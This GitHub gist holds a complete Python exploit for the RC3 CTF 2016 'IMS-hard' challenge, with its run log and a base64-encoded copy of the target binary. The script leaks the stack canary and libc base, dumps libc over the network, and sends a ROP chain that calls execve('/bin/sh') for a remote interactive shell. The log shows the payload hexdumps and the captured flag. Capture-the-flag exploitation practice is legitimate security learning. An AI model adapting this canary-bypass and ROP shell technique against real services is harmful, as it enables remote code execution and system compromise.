Skip to content

Instantly share code, notes, and snippets.

@Xeratec
Last active November 24, 2016 08:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Xeratec/0842f4535c8a9e4d49a245fec76f26de to your computer and use it in GitHub Desktop.
Save Xeratec/0842f4535c8a9e4d49a245fec76f26de to your computer and use it in GitHub Desktop.
Code for RC3 CTF level IMS-hard
#!/usr/bin/python
"""
# This is my exploit code for RC3 CTF Level: IMS-hard
# It was made after the completion of this event, but luckily the servers are
# still online [26.11.16], so the code was tested on a "living" target.
# I know, my code is a bit overpowered but I had my fun while programming :)
#
# Additional Info:
# After I got the overwriting process of the canary value working, I created
# a copy of the IMS-hard binary and patched the canary value check in the main
# functions with NOPs. I disabled ASLR on my computer and saved all input to
# the binary from this script in a text file:
# stdin = file('stdin.txt','w')
# x.logfile_send = stdin
# This file was then be piped into the executable while debugging it with
# radare2 or GDB. If somebody knows another way to directly debug a process
# spawned by pexpect, I would apreciate to hear about that.
#
# The offset of the leaked libc address to the libc address on the remote
# target was determined by trail and error. I changed the offset, dumped the
# libc and either the file size was 0 -> decrease the offset, or the file
# did not start with the ELF header -> increase the offset.
#
# The reason why I am using pexpect instead of pwnlib is because pecpect is
# a python only library and pwnlib is not running on x86 architectures.
#
# Bugs: Sometimes it is possible that the dumping of the libs stops before
# all the required data was captured. This results in an error because
# it can't find all nedded gadgets
"""
import pexpect
import struct
import sys
import tty
import termios
import os
from math import log
# Format file size to human readable form
# Copied from http://stackoverflow.com/questions/1094841/reusable-library-to-get-human-readable-version-of-file-size#answer-1094933
def sizeof_fmt(num, suffix='B'):
for unit in ['','k','M','G','T','P','E','Z']:
if abs(num) < 1024.0:
return "%3.2f %s%s" % (num, unit, suffix)
num /= 1024.0
return "%.1f%s%s" % (num, 'Y', suffix)
def p32(dword):
return struct.pack("I", dword)
def log(msg, loglevel=0, sep="[*] "):
if loglevel<=verbose:
print "%s%s" % (sep, msg)
def hexdump(src, length=16, sep='.'):
FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or sep for x in range(256)])
lines = []
for c in xrange(0, len(src), length):
chars = src[c:c+length]
hex = ' '.join(["%02x" % ord(x) for x in chars])
if len(hex) > 24:
hex = "%s %s" % (hex[:24], hex[24:])
printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or sep) for x in chars])
lines.append(" %03d: %-*s |%s|\n" % (c, length*3, hex, printable))
return ''.join(lines)
def info_leak(POS):
leak = [0, 0, 0]
x.sendline(VIEW_RECORD)
x.expect('Choose: ')
x.sendline(str(POS))
x.expect('Product ID: ')
x.expect('.+,')
leak[2] = int(x.after[:-1]) & 0xffffffff
x.expect('Product Code: ')
x.expect('.+T')
leak[0] = struct.unpack("I", x.after[0:4])[0]
leak[1] = struct.unpack("I", x.after[4:8])[0]
return leak
def send_12bytes_to_stack(hexstring_12):
byte_0_7 = struct.unpack("Q", hexstring_12[0:8])[0]
byte_8_11 = struct.unpack("I", hexstring_12[8:12])[0]
x.sendline(ADD_RECORD)
x.expect('Enter product ID:')
log('Product ID: %d' % byte_8_11 ,2)
x.sendline("%d" % byte_8_11)
x.expect('Enter product code:')
log('Product Code: %s' % struct.pack("Q", byte_0_7),2)
x.send("%s\n" % struct.pack("Q", byte_0_7))
return 1
def send_payload(buf):
# Align payload to x*12 bytes
if len(buf)%12 != 0:
log('Adding %d "A" to payload' % (12-len(buf)%12), 1)
buf = buf+'X'*(12-len(buf)%12)
log("Sending %d (%d*12) bytes payload..." % (len(buf), len(buf)/12))
log( "===================== Raw Payload ======================", 1)
log("%s" % hexdump(buf,length=12), 1, sep="")
for i in range(0, len(buf)/12*12, 12):
send_12bytes_to_stack(buf[i:i+12])
################################################################################
##################################### MAIN ####################################
################################################################################
## Constants ##
VIEW_RECORD = str(3)
ADD_RECORD = str(1)
QUIT = str(4)
BANNER = ("""
################################################################################
######################## RC3 CTF: IMS-hard, 200 points #######################
######################## Author: Philip Wiese #######################
######################## Date: 23. Nov. 2016 #######################
################################################################################
# #
# Source: https://gist.github.com/Xeratec/0842f4535c8a9e4d49a245fec76f26de #
# Usage: %s [-r] [verbose] #
# #
# Options: #
# -r Select Local / Remote Target #
# verbose Verbosity Level 0-2 #
# #
################################################################################
""")
# Sitch between remote and local exploit and select verbose level
remote = False
verbose = 0
if len(sys.argv)>1:
if sys.argv[1]== "-r":
remote = True
if sys.argv[1].isdigit():
verbose = int(sys.argv[1])
if len(sys.argv)>2:
if sys.argv[2]== "-r":
remote = True
if sys.argv[2].isdigit():
verbose = int(sys.argv[2])
print BANNER % sys.argv[0]
##########################
###### STAGE 1 ######
###### Dumping LibC ######
##########################
# Setup pexpect process / connection
if remote:
log('========== Select Target [REMOTE] ==========', sep="")
x = pexpect.spawn('nc ims.ctf.rc3.club 8888')
else:
log('========== Select Target [LOCAL] ==========', sep="")
x = pexpect.spawn('./IMS-hard_noCanary')
log('========== [Stage 1] # Dumping LibC ==========', sep="")
# Set terminal to rawmode to prevent transmission errors
tty.setraw(x.fileno())
# Leak the stack canary value for the main function
canary_main = info_leak(5)[2]
log('Leaked canary: 0x%08x' % canary_main, 1)
# Leak stdout address
stdout = info_leak(-13)[1]
log('Leaked stdout: 0x%08x' % stdout, 1)
# Leak libc base address
if remote:
libc_base = info_leak(-4)[2]-0x1a7000
else:
libc_base = info_leak(-1)[2]-0x1b3000
log('Leaked libc_base: 0x%08x' % libc_base, 1)
# Set EIP to address of fwrite@plt
eip = 0x08048550
log('EIP: 0x%08x' % eip, 1)
# Build payload
payload = "A"*5*12 # 12 byte junk
payload += "BBBBBBBB" + p32(canary_main) # 4 byte junk and canary value
payload += "C"*12 # 12 byte junk
payload += p32(eip) + "DDDD" # next EIP and Return Address
payload += p32(libc_base) # Arg 1 <const void *ptr>
payload += p32(0x01010101) # Arg 2 <size_t size>
payload += p32(0x1) # Arg 3 <size_t nmemb>
payload += p32(stdout) # Arg 4 <FILE *stream>
# Send end execute payload
send_payload(payload)
x.expect("Choose: ")
x.sendline(QUIT)
# Save process output = dump of libc to file
log('Dumping libc to file...')
if remote:
dump = file('glibc.bin','w')
else:
dump = file('local_libc.bin','w')
x.logfile_read = dump
# Needed to successfully recieve libc dump. But why?
data = ''
while True:
try:
data = x.read_nonblocking(size=8192, timeout=1)
if not data:
break
except:
break
# Close process / connection
x.close()
if remote:
dump_size = os.stat('glibc.bin')
else:
dump_size = os.stat('local_libc.bin')
log('Dumped %s' % sizeof_fmt(dump_size.st_size))
##########################
###### STAGE 2 ######
###### Exploiting ######
##########################
print ""
log('========== [Stage 2] # Exploiting ==========', sep="")
# Setup pexpect process / connection
if remote:
x = pexpect.spawn('nc ims.ctf.rc3.club 8888')
else:
x = pexpect.spawn('./IMS-hard_noCanary')
# Save current terminal settings and enter raw mode and
# set terminal to rawmode to prevent transmission errors
tty_echo_mode = termios.tcgetattr(x.fileno())
tty.setraw(x.fileno())
# Leak the stack canary value for the main function
canary_main = info_leak(5)[2]
log('Leaked canary: 0x%08x' % canary_main, 1)
# Leak libc base address
if remote:
libc_base = info_leak(-4)[2]-0x1a7000
else:
libc_base = info_leak(-1)[2]-0x1b3000
log('Leaked libc_base: 0x%08x' % libc_base, 1)
# Open dump of libc
if remote:
dump = open('glibc.bin').read()
else:
dump = open('local_libc.bin').read()
# Search for Gadgets
offset_ret = dump.index('\xc3')
offset_binsh = dump.index('/bin/sh\x00')
offset_pop_eax = dump.index('\x58\xc3')
offset_pop_ebx = dump.index('\x5b\xc3')
offset_pop_ecx_edx = dump.index('\x59\x5a\xc3')
offset_int80 = dump.index('\xcd\x80')
log('Found String "/bin/sh" @ 0x%08x' % (offset_binsh + libc_base), 1)
log("Found <pop eax; ret> @ 0x%08x" % (offset_pop_eax + libc_base), 1)
log("Found <pop ebx; ret> @ 0x%08x" % (offset_pop_ebx + libc_base), 1)
log("Found <pop ecx; pop edx; ret> @ 0x%08x" % (offset_pop_ecx_edx + libc_base), 1)
log("Found <int80; ret> @ 0x%08x" % (offset_int80 + libc_base), 1)
# Build payload
payload = "A"*5*12 # 12 byte junk
payload += "BBBBBBBB" + p32(canary_main) # 8 byte junk and canary value
payload += "C"*12 # 12 byte junk
# Building ROP Chain
payload += p32(libc_base + offset_pop_eax) + p32(11)
payload += p32(libc_base + offset_pop_ebx) + p32(libc_base + offset_binsh)
payload += p32(libc_base + offset_ret)
payload += p32(libc_base + offset_pop_ecx_edx) + p32(0) + p32(0)
payload += p32(libc_base + offset_int80)
# Send and execute payload
send_payload(payload)
x.expect("Choose: ")
x.sendline(QUIT)
# Set terminal back to echo mode for interactive shell
termios.tcsetattr(x.fileno(), termios.TCSADRAIN, tty_echo_mode)
log('Executing Shell')
# Get flag
log('Sending "cat /home/IMS-hard/flag.txt"')
x.sendline('cat /home/IMS-hard/flag.txt')
x.expect('\n.+')
print x.after[1:-1]
# Open interactive shell
x.interact(escape_character='\x04')
x.close()
################################################################################
######################## RC3 CTF: IMS-hard, 200 points #######################
######################## Author: Philip Wiese #######################
######################## Date: 23. Nov. 2016 #######################
################################################################################
# #
# Source: https://gist.github.com/Xeratec/0842f4535c8a9e4d49a245fec76f26de #
# Usage: ./exploit.py [-r] [verbose] #
# #
# Options: #
# -r Select Local / Remote Target #
# verbose Verbosity Level 0-2 #
# #
################################################################################
========== Select Target [REMOTE] ==========
========== [Stage 1] # Dumping LibC ==========
[*] Leaked canary: 0x22669900
[*] Leaked stdout: 0xf770eac0
[*] Leaked libc_base: 0xf7567000
[*] EIP: 0x08048550
[*] Sending 108 (9*12) bytes payload...
[*] ===================== Raw Payload ======================
000: 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAA|
012: 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAA|
024: 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAA|
036: 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAA|
048: 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAA|
060: 42 42 42 42 42 42 42 42 00 99 66 22 |BBBBBBBB..f"|
072: 43 43 43 43 43 43 43 43 43 43 43 43 |CCCCCCCCCCCC|
084: 50 85 04 08 44 44 44 44 00 70 56 f7 |P...DDDD.pV.|
096: 01 01 01 01 01 00 00 00 c0 ea 70 f7 |..........p.|
[*] Dumping libc to file...
[*] Dumped 1.67 MB
========== [Stage 2] # Exploiting ==========
[*] Leaked canary: 0xb573cf00
[*] Leaked libc_base: 0xf75c4000
[*] Found String "/bin/sh" @ 0xf7721a8c
[*] Found <pop eax; ret> @ 0xf75e8628
[*] Found <pop ebx; ret> @ 0xf75dd91e
[*] Found <pop ecx; pop edx; ret> @ 0xf75f221b
[*] Found <int80; ret> @ 0xf75f24e5
[*] Sending 120 (10*12) bytes payload...
[*] ===================== Raw Payload ======================
000: 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAA|
012: 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAA|
024: 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAA|
036: 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAA|
048: 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAA|
060: 42 42 42 42 42 42 42 42 00 cf 73 b5 |BBBBBBBB..s.|
072: 43 43 43 43 43 43 43 43 43 43 43 43 |CCCCCCCCCCCC|
084: 28 86 5e f7 0b 00 00 00 1e d9 5d f7 |(.^.......].|
096: 8c 1a 72 f7 17 44 5c f7 1b 22 5f f7 |..r..D..."_.|
108: 00 00 00 00 00 00 00 00 e5 24 5f f7 |.........$_.|
[*] Executing Shell
[*] Sending "cat /home/IMS-hard/flag.txt"
cat /home/IMS-hard/flag.txt
RC3-2016-SAVAGE-1337HAX-BRO
exit
Base64 Encoded IMS-hard binary
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
JOg6+v//x0QkCDwAAADHRCQEAAAAAI1EJCiJBCTo3vr//+gG/P//x0QkBEigBAiNRCQoiQQk6H78
//+FwHQVkLgAAAAAi1QkbGUzFRQAAAB0HusXoUigBAiJRCQExwQkGI0ECOjn+f//67foIPr//8nD
ZpBmkGaQZpBmkGaQZpBVVzH/VlPo1fr//4HDeRQAAIPsHItsJDCNswD////oXfn//42D/P7//ynG
wf4ChfZ0J422AAAAAItEJDiJLCSJRCQIi0QkNIlEJAT/lLv8/v//g8cBOfd134PEHFteX13D6w2Q
kJCQkJCQkJCQkJCQ88MAAFOD7AjoY/r//4HDBxQAAIPECFvDAwAAAAEAAgA9PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0AYmV0YSAAAHxSQzMgSW52ZW50b3J5
IE1hbmFnZW1lbnQgU3lzdGVtIChwdWJsaWMgJXMpfAoAMS4gQWRkIHJlY29yZAAyLiBEZWxldGUg
cmVjb3JkADMuIFZpZXcgcmVjb3JkADQuIFF1aXQAQ2hvb3NlOiAARW50ZXIgcHJvZHVjdCBJRDog
AEVudGVyIHByb2R1Y3QgY29kZTogAEVudGVyIGluZGV4IHRvIGRlbGV0ZTogAFRoYXQgcmVjb3Jk
IGRvZXMgbm90IGV4aXN0AAAAAEVudGVyIHRoZSBpbmRleCBvZiB0aGUgcHJvZHVjdCB5b3Ugd2lz
aCB0byB2aWV3OiAAAABQcm9kdWN0IElEOiAlZCwgUHJvZHVjdCBDb2RlOiAAAFRoZXJlIGFyZSAl
ZCByZWNvcmRzIGluIHRoZSBJTVMKCgAAAAEbAzs4AAAABgAAAKT3//9UAAAAofn//3gAAAAt+v//
mAAAAEL9///EAAAA9P3//+QAAABk/v//IAEAABQAAAAAAAAAAXpSAAF8CAEbDAQEiAEAACAAAAAc
AAAASPf//wABAAAADghGDgxKDwt0BHgAPxo7KjIkIhwAAABAAAAAIfn//4wAAAAAQQ4IhQJCDQUC
iMUMBAQAKAAAAGAAAACN+f//FQMAAABBDgiFAkINBUWGA4MEAwoDw0HGQcUMBAQAAAAcAAAAjAAA
AHb8//+kAAAAAEEOCIUCQg0FAqDFDAQEADgAAACsAAAACP3//2EAAAAAQQ4IhQJBDgyHA0MOEIYE
QQ4UgwVODjACSA4UQcMOEEHGDgxBxw4IQcUOBBAAAADoAAAAPP3//wIAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALCG
BAiQhgQIAAAAAAEAAAABAAAADAAAALCEBAgNAAAApIsECBkAAACwngQIGwAAAAQAAAAaAAAAtJ4E
CBwAAAAEAAAA9f7/b6yBBAgFAAAACIMECAYAAADYgQQICgAAAMAAAAALAAAAEAAAABUAAAAAAAAA
AwAAALSfBAgCAAAAeAAAABQAAAARAAAAFwAAADiEBAgRAAAAIIQECBIAAAAYAAAAEwAAAAgAAAAY
AAAAAAAAAPv//28BAAAA/v//b/CDBAj///9vAQAAAPD//2/IgwQIAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvJ4ECAAAAAAAAAAA9oQECAaFBAgWhQQIJoUE
CDaFBAhGhQQIVoUECGaFBAh2hQQIhoUECJaFBAimhQQItoUECMaFBAjWhQQIAAAAAAAAAAAAAAAA
R0NDOiAoVWJ1bnR1IDQuOC40LTJ1YnVudHUxfjE0LjA0LjMpIDQuOC40AAAuc3ltdGFiAC5zdHJ0
YWIALnNoc3RydGFiAC5pbnRlcnAALm5vdGUuQUJJLXRhZwAubm90ZS5nbnUuYnVpbGQtaWQALmdu
dS5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbC5k
eW4ALnJlbC5wbHQALmluaXQALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWVfaGRyAC5laF9m
cmFtZQAuaW5pdF9hcnJheQAuZmluaV9hcnJheQAuamNyAC5keW5hbWljAC5nb3QALmRhdGEALmJz
cwAuY29tbWVudAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEA
AAACAAAAVIEECFQBAAATAAAAAAAAAAAAAAABAAAAAAAAACMAAAAHAAAAAgAAAGiBBAhoAQAAIAAA
AAAAAAAAAAAABAAAAAAAAAAxAAAABwAAAAIAAACIgQQIiAEAACQAAAAAAAAAAAAAAAQAAAAAAAAA
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
AAAAABIAAACkAQAAAAAAAAAAAAASAAAAtgEAAAAAAAAAAAAAEgAAAMcBAABphwQIFQMAABIADQDW
AQAACKAECAAAAAAQABcA3QEAAKSLBAgAAAAAEgAOAOMBAAAAAAAAAAAAABIAAAD/AQAAAAAAAAAA
AAASAAAAEQIAAACgBAgAAAAAEAAXAB4CAAAAAAAAAAAAABIAAAAuAgAAAAAAAAAAAAAgAAAAPQIA
AASgBAgAAAAAEQIXAEoCAAC8iwQIBAAAABEADwBZAgAAAAAAAAAAAAASAAAAbAIAAAAAAAAAAAAA
EgAAAH4CAAAAAAAAAAAAABIAAACbAgAA3YYECIwAAAASAA0ApgIAADCLBAhhAAAAEgANALYCAAAg
oAQIBAAAABEAGADHAgAAAAAAAAAAAAASAAAA2QIAAEygBAgAAAAAEAAYAN4CAAAAAAAAAAAAABIA
AADxAgAA4IUECAAAAAASAA0A+AIAALiLBAgEAAAAEQAPAP8CAABAoAQIBAAAABEAGAARAwAACKAE
CAAAAAAQABgAHQMAAH6KBAikAAAAEgANACIDAAAAAAAAAAAAACAAAAA2AwAACKAECAAAAAARAhcA
QgMAAAAAAAAAAAAAIAAAAFwDAAAAAAAAAAAAABIAAABuAwAAsIQECAAAAAASAAsAAGNydHN0dWZm
LmMAX19KQ1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAHJlZ2lzdGVyX3RtX2Nsb25lcwBf
X2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjY1OTEAX19kb19nbG9iYWxfZHRvcnNfYXV4
X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2Vu
